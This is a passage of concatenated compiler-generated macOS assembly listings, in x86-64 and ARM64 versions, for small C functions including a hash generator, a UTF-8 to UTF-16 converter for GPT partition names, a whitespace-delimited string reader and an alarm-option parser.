Lloh8 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdr Lloh26, Lloh27 .loh AdrpLdrGotLdr Lloh28, Lloh29, Lloh30 .loh AdrpLdrGotLdr Lloh31, Lloh32, Lloh33 .loh AdrpLdr Lloh34, Lloh35 .loh AdrpAdd Lloh36, Lloh37 .cfi_endproc ; -- End function .comm _OT_MEMORY,4,2 ; @OT_MEMORY .comm _OT_CONSTANT,4,2 ; @OT_CONSTANT .section __TEXT,__cstring,cstring_literals l_.str.4: ; @.str.4 .asciz "nae" l_.str.15: ; @.str.15 .asciz "nbe" l_.str.23: ; @.str.23 .asciz "nge" l_.str.29: ; @.str.29 .asciz "nle" .comm _OT_REGALL,4,2 ; @OT_REGALL .comm _X86R_UNDEFINED,4,2 ; @X86R_UNDEFINED .comm _ST8_MIN,4,2 ; @ST8_MIN .comm _ST8_MAX,4,2 ; @ST8_MAX .comm _X86R_EBP,4,2 ; @X86R_EBP .no_dead_strip _opcmov .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _gen_hashes ## -- Begin function gen_hashes .p2align 4, 0x90 _gen_hashes: ## @gen_hashes .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 xorl %ebx, %ebx xorl %esi, %esi callq _prepare_watchcat_str movq _prep_lbuf_res@GOTPCREL(%rip), %rcx movq (%rcx), %r14 testq %rax, %rax je LBB0_9 ## %bb.1: cmpb $0, (%rax) je LBB0_8 ## %bb.2: xorl %ebx, %ebx xorl %ecx, %ecx jmp LBB0_3 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_3 Depth=1 cmpb $1, %dil sbbl $-1, %ecx cmpq $1, %rdx adcq $0, %rdx movq %rdx, (%r14,%rbx,8) incq %rbx movslq %ecx, %rdx cmpb $0, (%rax,%rdx) je LBB0_8 LBB0_3: ## =>This Loop Header: Depth=1 ## Child Loop BB0_4 Depth 2 movslq %ecx, %rsi addq %rax, %rsi movl $3213211, %edx ## imm = 0x31079B .p2align 4, 0x90 LBB0_4: ## Parent Loop BB0_3 Depth=1 ## => This Inner Loop Header: Depth=2 movzbl (%rsi), %edi testl %edi, %edi je LBB0_7 ## %bb.5: ## in Loop: Header=BB0_4 Depth=2 cmpl $43, %edi je LBB0_7 ## %bb.6: ## in Loop: Header=BB0_4 Depth=2 movsbq %dil, %rdi imulq $999983, %rdx, %rdx ## imm = 0xF422F addq %rdi, %rdx decl %ecx decq %rsi jmp LBB0_4 LBB0_8: movq _MAX_NAME_SIZE@GOTPCREL(%rip), %rax xorl %edi, %edi cmpl (%rax), %ebx setle %dil callq _assert movq %r14, %rdi movl %ebx, %esi callq _dl_qsort_ll movq %r14, %rdi movl %ebx, %esi popq %rbx popq %r14 popq %rbp jmp _dl_unique_ll ## TAILCALL LBB0_9: movq $0, (%r14) xorl %eax, %eax popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .comm _prep_lbuf_res,8,3 ## @prep_lbuf_res .comm _MAX_NAME_SIZE,4,2 ## @MAX_NAME_SIZE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _gen_hashes ; -- Begin function gen_hashes .p2align 2 _gen_hashes: ; @gen_hashes .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov w1, #0 ; =0x0 bl _prepare_watchcat_str Lloh0: adrp x8, _prep_lbuf_res@GOTPAGE Lloh1: ldr x8, [x8, _prep_lbuf_res@GOTPAGEOFF] Lloh2: ldr x19, [x8] cbz x0, LBB0_8 ; %bb.1: ldrb w8, [x0] cbz w8, LBB0_9 ; %bb.2: mov x20, #0 ; =0x0 mov w8, #0 ; =0x0 mov w9, #16943 ; =0x422f movk w9, #15, lsl #16 b LBB0_4 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 cmp w13, #0 cinc w8, w8, ne cmp x11, #1 csinc x11, x11, xzr, hi add x20, x10, #1 str x11, [x19, x10, lsl #3] ldrb w10, [x0, w8, sxtw] cbz w10, LBB0_10 LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 mov x10, x20 add x12, x0, w8, sxtw mov w11, #1947 ; =0x79b movk w11, #49, lsl #16 LBB0_5: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 ldrb w14, [x12], #-1 sxtb x13, w14 cbz w14, LBB0_3 ; %bb.6: ; in Loop: Header=BB0_5 Depth=2 cmp w14, #43 b.eq LBB0_3 ; %bb.7: ; in Loop: Header=BB0_5 Depth=2 madd x11, x11, x9, x13 sub w8, w8, #1 b LBB0_5 LBB0_8: str xzr, [x19] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret LBB0_9: mov w20, #0 ; =0x0 LBB0_10: Lloh3: adrp x8, _MAX_NAME_SIZE@GOTPAGE Lloh4: ldr x8, [x8, _MAX_NAME_SIZE@GOTPAGEOFF] Lloh5: ldr w8, [x8] cmp w20, w8 cset w0, le bl _assert mov x0, x19 mov x1, x20 bl _dl_qsort_ll mov x0, x19 mov x1, x20 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload b _dl_unique_ll .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .comm _prep_lbuf_res,8,3 ; @prep_lbuf_res .comm _MAX_NAME_SIZE,4,2 ; @MAX_NAME_SIZE .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function g_gpt_utf8_to_utf16 _g_gpt_utf8_to_utf16: ## @g_gpt_utf8_to_utf16 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %rbx movq %rdi, %r15 leaq (%rdx,%rdx), %rsi movq %rbx, %rdi callq _bzero movl (%r15), %r12d testl %r12d, %r12d sete %al testq %r14, %r14 sete %cl orb %al, %cl jne LBB0_12 ## %bb.1: addq $4, %r15 xorl %ecx, %ecx xorl %r13d, %r13d .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 testl %ecx, %ecx je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movl $65533, %edi ## imm = 0xFFFD callq _htole16 movl %eax, (%rbx,%r13,4) incq %r13 LBB0_4: ## in Loop: Header=BB0_2 Depth=1 movl %r12d, %edx andl $248, %edx movl $3, %ecx movb $1, %al cmpl $240, %edx je LBB0_8 ## %bb.5: ## in Loop: Header=BB0_2 Depth=1 movl %r12d, %edx andl $240, %edx movl $2, %ecx cmpl $224, %edx je LBB0_8 ## %bb.6: ## in Loop: Header=BB0_2 Depth=1 movl %r12d, %edx andl $224, %edx movl $1, %ecx cmpl $192, %edx je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_2 Depth=1 andl $127, %r12d movl %r12d, %edi callq _htole16 movl %eax, (%rbx,%r13,4) incq %r13 xorl %eax, %eax xorl %ecx, %ecx .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_2 Depth=1 movl (%r15), %r12d testl %r12d, %r12d je LBB0_10 ## %bb.9: ## in Loop: Header=BB0_2 Depth=1 addq $4, %r15 cmpq %r14, %r13 jb LBB0_2 LBB0_10: cmpq %r14, %r13 setb %cl andb %cl, %al cmpb $1, %al jne LBB0_12 ## %bb.11: movl $65533, %edi ## imm = 0xFFFD callq _htole16 movl %eax, (%rbx,%r13,4) LBB0_12: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _g_gpt_utf8_to_utf16 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function g_gpt_utf8_to_utf16 _g_gpt_utf8_to_utf16: ; @g_gpt_utf8_to_utf16 .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x2 mov x19, x1 mov x21, x0 lsl x1, x2, #1 mov x0, x19 bl _bzero ldr w23, [x21] cmp w23, #0 ccmp x20, #0, #4, ne b.eq LBB0_15 ; %bb.1: mov w8, #0 ; =0x0 mov x22, #0 ; =0x0 add x21, x21, #4 b LBB0_5 LBB0_2: ; in Loop: Header=BB0_5 Depth=1 mov w8, #3 ; =0x3 LBB0_3: ; in Loop: Header=BB0_5 Depth=1 mov w9, #1 ; =0x1 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 ldr w23, [x21], #4 cmp w23, #0 ccmp x22, x20, #2, ne b.hs LBB0_13 LBB0_5: ; =>This Inner Loop Header: Depth=1 cbz w8, LBB0_7 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 mov w0, #65533 ; =0xfffd bl _htole16 str w0, [x19, x22, lsl #2] add x22, x22, #1 LBB0_7: ; in Loop: Header=BB0_5 Depth=1 and w8, w23, #0xf8 cmp w8, #240 b.eq LBB0_2 ; %bb.8: ; in Loop: Header=BB0_5 Depth=1 and w8, w23, #0xf0 cmp w8, #224 b.ne LBB0_10 ; %bb.9: ; in Loop: Header=BB0_5 Depth=1 mov w8, #2 ; =0x2 b LBB0_3 LBB0_10: ; in Loop: Header=BB0_5 Depth=1 and w8, w23, #0xe0 cmp w8, #192 b.ne LBB0_12 ; %bb.11: ; in Loop: Header=BB0_5 Depth=1 mov w9, #1 ; =0x1 mov w8, #1 ; =0x1 b LBB0_4 LBB0_12: ; in Loop: Header=BB0_5 Depth=1 and w0, w23, #0x7f bl _htole16 mov w9, #0 ; =0x0 mov w8, #0 ; =0x0 str w0, [x19, x22, lsl #2] add x22, x22, #1 b LBB0_4 LBB0_13: cmp x22, x20 csel w8, wzr, w9, hs cmp w8, #1 b.ne LBB0_15 ; %bb.14: mov w0, #65533 ; =0xfffd bl _htole16 str w0, [x19, x22, lsl #2] LBB0_15: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _g_gpt_utf8_to_utf16 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _compute_assignment ## -- Begin function compute_assignment .p2align 4, 0x90 _compute_assignment: ## @compute_assignment .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r8, %r15 movl %esi, %r14d movl %edi, %ebx leal (,%rbx,4), %edx leal (,%r14,4), %r12d cmpl $1, %edi jg LBB0_1 ## %bb.8: movq %rcx, %rdi xorl %esi, %esi callq _memset movq %r15, %rdi xorl %esi, %esi movl %r12d, %edx addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _memset ## TAILCALL LBB0_1: movq %rcx, %rdi movl $-1, %esi callq _memset movq %r15, %rdi movl $-1, %esi movl %r12d, %edx callq _memset movl %ebx, %esi callq _ALLOC_ARRAY decl %ebx cmpl $2, %r14d jl LBB0_2 ## %bb.3: movl $1, %r15d xorl %r12d, %r12d jmp LBB0_4 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_4 Depth=1 incl %r15d movl %esi, %r12d cmpl %r15d, %r14d je LBB0_7 LBB0_4: ## =>This Inner Loop Header: Depth=1 movl %ebx, %edi movl %r12d, %esi callq _COST movl %eax, %r13d movl %ebx, %edi movl %r15d, %esi callq _COST movl %r15d, %esi cmpl %eax, %r13d jg LBB0_6 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movl %r12d, %esi jmp LBB0_6 LBB0_2: xorl %esi, %esi LBB0_7: movl %ebx, %edi callq _COST ud2 .cfi_endproc ## -- End function .comm _INT_MAX,4,2 ## @INT_MAX .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _compute_assignment ; -- Begin function compute_assignment .p2align 2 _compute_assignment: ; @compute_assignment .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x21, x4 lsl w2, w0, #2 lsl w22, w1, #2 subs w19, w0, #1 b.gt LBB0_2 ; %bb.1: mov x0, x3 mov w1, #0 ; =0x0 bl _memset mov x0, x21 mov w1, #0 ; =0x0 mov x2, x22 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _memset LBB0_2: mov x20, x1 mov x23, x0 mov x0, x3 mov w1, #-1 ; =0xffffffff bl _memset mov x0, x21 mov w1, #-1 ; =0xffffffff mov x2, x22 bl _memset mov x1, x23 bl _ALLOC_ARRAY cmp w20, #2 b.lt LBB0_5 ; %bb.3: mov w21, #0 ; =0x0 mov w22, #1 ; =0x1 LBB0_4: ; =>This Inner Loop Header: Depth=1 mov x0, x19 mov x1, x21 bl _COST mov x23, x0 mov x0, x19 mov x1, x22 bl _COST cmp w23, w0 csel w21, w22, w21, gt add w22, w22, #1 cmp w20, w22 b.ne LBB0_4 b LBB0_6 LBB0_5: mov w21, #0 ; =0x0 LBB0_6: mov x0, x19 mov x1, x21 bl _COST brk #0x1 .cfi_endproc ; -- End function .comm _INT_MAX,4,2 ; @INT_MAX .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _next_str ## -- Begin function next_str .p2align 4, 0x90 _next_str: ## @next_str .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r15d movq %rdi, %rbx xorl %eax, %eax callq _eat_whitespaces movq _rptr@GOTPCREL(%rip), %r12 movq (%r12), %rdx movq _rend@GOTPCREL(%rip), %r13 cmpq (%r13), %rdx je LBB0_1 ## %bb.2: xorl %eax, %eax testl %r15d, %r15d js LBB0_3 ## %bb.4: movl %r15d, %r14d xorl %r15d, %r15d jmp LBB0_5 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_5 Depth=1 decq %r15 cmpq %r14, %r15 jg LBB0_9 LBB0_5: ## =>This Inner Loop Header: Depth=1 movl (%rdx), %ecx cmpl $33, %ecx jl LBB0_9 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 addq $4, %rdx movq %rdx, (%r12) movb %cl, (%rbx,%r15) movq (%r12), %rdx cmpq (%r13), %rdx jne LBB0_8 ## %bb.7: ## in Loop: Header=BB0_5 Depth=1 xorl %eax, %eax callq _advance_buff movq (%r12), %rdx jmp LBB0_8 LBB0_9: movslq %r15d, %rcx xorl %eax, %eax jmp LBB0_10 LBB0_1: movl $-1, %eax jmp LBB0_11 LBB0_3: xorl %ecx, %ecx LBB0_10: movb $0, (%rbx,%rcx) LBB0_11: ## kill: def $eax killed $eax killed $rax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _rptr,8,3 ## @rptr .comm _rend,8,3 ## @rend .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _next_str ; -- Begin function next_str .p2align 2 _next_str: ; @next_str .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x20, x1 mov x19, x0 bl _eat_whitespaces Lloh0: adrp x21, _rptr@GOTPAGE Lloh1: ldr x21, [x21, _rptr@GOTPAGEOFF] ldr x8, [x21] Lloh2: adrp x22, _rend@GOTPAGE Lloh3: ldr x22, [x22, _rend@GOTPAGEOFF] ldr x9, [x22] cmp x8, x9 b.eq LBB0_8 ; %bb.1: tbnz w20, #31, LBB0_9 ; %bb.2: mov x23, #0 ; =0x0 mov w20, w20 b LBB0_4 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 sub x23, x23, #1 cmp x23, x20 b.gt LBB0_7 LBB0_4: ; =>This Inner Loop Header: Depth=1 ldr w9, [x8] cmp w9, #33 b.lt LBB0_7 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 add x8, x8, #4 str x8, [x21] strb w9, [x19, x23] ldr x8, [x21] ldr x9, [x22] cmp x8, x9 b.ne LBB0_3 ; %bb.6: ; in Loop: Header=BB0_4 Depth=1 bl _advance_buff ldr x8, [x21] b LBB0_3 LBB0_7: sxtw x8, w23 b LBB0_10 LBB0_8: mov w0, #-1 ; =0xffffffff b LBB0_11 LBB0_9: mov x8, #0 ; =0x0 LBB0_10: mov w0, #0 ; =0x0 strb wzr, [x19, x8] LBB0_11: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _rptr,8,3 ; @rptr .comm _rend,8,3 ; @rend .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function health_parse_options _health_parse_options: ## @health_parse_options .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $120, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) xorps %xmm0, %xmm0 movaps %xmm0, -80(%rbp) movaps %xmm0, -96(%rbp) movaps %xmm0, -112(%rbp) movaps %xmm0, -128(%rbp) movaps %xmm0, -144(%rbp) movaps %xmm0, -160(%rbp) movq $0, -67(%rbp) cmpb $0, (%rdi) je LBB0_19 ## %bb.1: movq %rdi, %rbx xorl %r14d, %r14d leaq L_.str(%rip), %r15 leaq -160(%rbp), %r12 jmp LBB0_4 .p2align 4, 0x90 LBB0_2: ## in Loop: Header=BB0_4 Depth=1 movq _RRDCALC_FLAG_NO_CLEAR_NOTIFICATION@GOTPCREL(%rip), %rax orl (%rax), %r14d LBB0_3: ## in Loop: Header=BB0_4 Depth=1 cmpb $0, (%rbx) je LBB0_20 LBB0_4: ## =>This Loop Header: Depth=1 ## Child Loop BB0_5 Depth 2 ## Child Loop BB0_10 Depth 2 movb $0, -160(%rbp) movzbl (%rbx), %eax testb %al, %al je LBB0_20 .p2align 4, 0x90 LBB0_5: ## Parent Loop BB0_4 Depth=1 ## => This Inner Loop Header: Depth=2 movsbl %al, %edi callq _isspace testq %rax, %rax je LBB0_8 ## %bb.6: ## in Loop: Header=BB0_5 Depth=2 movzbl -1(%rbx), %eax decq %rbx testb %al, %al jne LBB0_5 jmp LBB0_7 .p2align 4, 0x90 LBB0_8: ## in Loop: Header=BB0_4 Depth=1 movzbl (%rbx), %ecx testb %cl, %cl je LBB0_7 ## %bb.9: ## in Loop: Header=BB0_4 Depth=1 xorl %r13d, %r13d .p2align 4, 0x90 LBB0_10: ## Parent Loop BB0_4 Depth=1 ## => This Inner Loop Header: Depth=2 movsbl %cl, %edi callq _isspace testq %rax, %rax jne LBB0_15 ## %bb.11: ## in Loop: Header=BB0_10 Depth=2 movzbl (%rbx,%r13), %ecx leaq 1(%r13), %rax movb %cl, -160(%rbp,%r13) movzbl 1(%rbx,%r13), %ecx testb %cl, %cl je LBB0_13 ## %bb.12: ## in Loop: Header=BB0_10 Depth=2 cmpq $99, %r13 movq %rax, %r13 jb LBB0_10 LBB0_13: ## in Loop: Header=BB0_4 Depth=1 addq %rax, %rbx cmpb $0, -160(%rbp) jne LBB0_16 jmp LBB0_3 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_4 Depth=1 xorl %eax, %eax cmpb $0, -160(%rbp) je LBB0_3 LBB0_16: ## in Loop: Header=BB0_4 Depth=1 movb $0, -160(%rbp,%rax) movq %r12, %rdi movq %r15, %rsi callq _strcasecmp testl %eax, %eax je LBB0_2 ## %bb.17: ## in Loop: Header=BB0_4 Depth=1 movq %r12, %rdi leaq L_.str.1(%rip), %rsi callq _strcasecmp testl %eax, %eax je LBB0_2 ## %bb.18: ## in Loop: Header=BB0_4 Depth=1 leaq L_.str.2(%rip), %rdi movq %r12, %rsi callq _error jmp LBB0_3 LBB0_15: ## in Loop: Header=BB0_4 Depth=1 addq %r13, %rbx movq %r13, %rax cmpb $0, -160(%rbp) jne LBB0_16 jmp LBB0_3 LBB0_19: xorl %r14d, %r14d LBB0_20: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_22 ## %bb.21: movl %r14d, %eax addq $120, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_22: callq ___stack_chk_fail .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "no-clear-notification" L_.str.1: ## @.str.1 .asciz "no-clear" .comm _RRDCALC_FLAG_NO_CLEAR_NOTIFICATION,4,2 ## @RRDCALC_FLAG_NO_CLEAR_NOTIFICATION L_.str.2: ## @.str.2 .asciz "Ignoring unknown alarm option '%s'" .no_dead_strip _health_parse_options .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function health_parse_options _health_parse_options: ; @health_parse_options .cfi_startproc ; %bb.0: sub sp, sp, #192 stp x26, x25, [sp, #112] ; 16-byte Folded Spill stp x24, x23, [sp, #128] ; 16-byte Folded Spill stp x22, x21, [sp, #144] ; 16-byte Folded Spill stp x20, x19, [sp, #160] ; 16-byte Folded Spill stp x29, x30, [sp, #176] ; 16-byte Folded Spill add x29, sp, #176 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-72] stur wzr, [sp, #100] movi.2d v0, #0000000000000000 stur q0, [sp, #84] stur q0, [sp, #68] stur q0, [sp, #52] stur q0, [sp, #36] stur q0, [sp, #20] stur q0, [sp, #4] ldrb w8, [x0] cbz w8, LBB0_18 ; %bb.1: mov x19, x0 mov w20, #0 ; =0x0 add x24, sp, #3 Lloh3: adrp x21, l_.str@PAGE Lloh4: add x21, x21, l_.str@PAGEOFF Lloh5: adrp x25, _RRDCALC_FLAG_NO_CLEAR_NOTIFICATION@GOTPAGE Lloh6: ldr x25, [x25, _RRDCALC_FLAG_NO_CLEAR_NOTIFICATION@GOTPAGEOFF] Lloh7: adrp x22, l_.str.1@PAGE Lloh8: add x22, x22, l_.str.1@PAGEOFF Lloh9: adrp x23, l_.str.2@PAGE Lloh10: add x23, x23, l_.str.2@PAGEOFF b LBB0_4 LBB0_2: ; in Loop: Header=BB0_4 Depth=1 ldr w8, [x25] orr w20, w8, w20 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 ldrb w8, [x19] cbz w8, LBB0_19 LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 ; Child Loop BB0_9 Depth 2 strb wzr, [sp, #3] ldrb w8, [x19] cbz w8, LBB0_19 LBB0_5: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 sxtb w0, w8 bl _isspace cbz x0, LBB0_7 ; %bb.6: ; in Loop: Header=BB0_5 Depth=2 ldrb w8, [x19, #-1]! cbnz w8, LBB0_5 b LBB0_13 LBB0_7: ; in Loop: Header=BB0_4 Depth=1 ldrb w9, [x19] cbz w9, LBB0_13 ; %bb.8: ; in Loop: Header=BB0_4 Depth=1 mov x26, #0 ; =0x0 LBB0_9: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 sxtb w0, w9 bl _isspace cbnz x0, LBB0_17 ; %bb.10: ; in Loop: Header=BB0_9 Depth=2 add x9, x19, x26 ldrb w10, [x9] add x8, x26, #1 strb w10, [x24, x26] ldrb w9, [x9, #1] cbz w9, LBB0_12 ; %bb.11: ; in Loop: Header=BB0_9 Depth=2 cmp x26, #99 mov x26, x8 b.lo LBB0_9 LBB0_12: ; in Loop: Header=BB0_4 Depth=1 add x19, x19, x8 ldrb w9, [sp, #3] cbnz w9, LBB0_14 b LBB0_3 LBB0_13: ; in Loop: Header=BB0_4 Depth=1 mov x8, #0 ; =0x0 ldrb w9, [sp, #3] cbz w9, LBB0_3 LBB0_14: ; in Loop: Header=BB0_4 Depth=1 strb wzr, [x24, x8] add x0, sp, #3 mov x1, x21 bl _strcasecmp cbz w0, LBB0_2 ; %bb.15: ; in Loop: Header=BB0_4 Depth=1 add x0, sp, #3 mov x1, x22 bl _strcasecmp cbz w0, LBB0_2 ; %bb.16: ; in Loop: Header=BB0_4 Depth=1 add x1, sp, #3 mov x0, x23 bl _error b LBB0_3 LBB0_17: ; in Loop: Header=BB0_4 Depth=1 add x19, x19, x26 mov x8, x26 ldrb w9, [sp, #3] cbnz w9, LBB0_14 b LBB0_3 LBB0_18: mov w20, #0 ; =0x0 LBB0_19: ldur x8, [x29, #-72] Lloh11: adrp x9, ___stack_chk_guard@GOTPAGE Lloh12: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh13: ldr x9, [x9] cmp x9, x8 b.ne LBB0_21 ; %bb.20: mov x0, x20 ldp x29, x30, [sp, #176] ; 16-byte Folded Reload ldp x20, x19, [sp, #160] ; 16-byte Folded Reload ldp x22, x21, [sp, #144] ; 16-byte Folded Reload ldp x24, x23, [sp, #128] ; 16-byte Folded Reload ldp x26, x25, [sp, #112] ; 16-byte Folded Reload add sp, sp, #192 ret LBB0_21: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh9, Lloh10 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13 .cfi_endproc ; -- End function .section 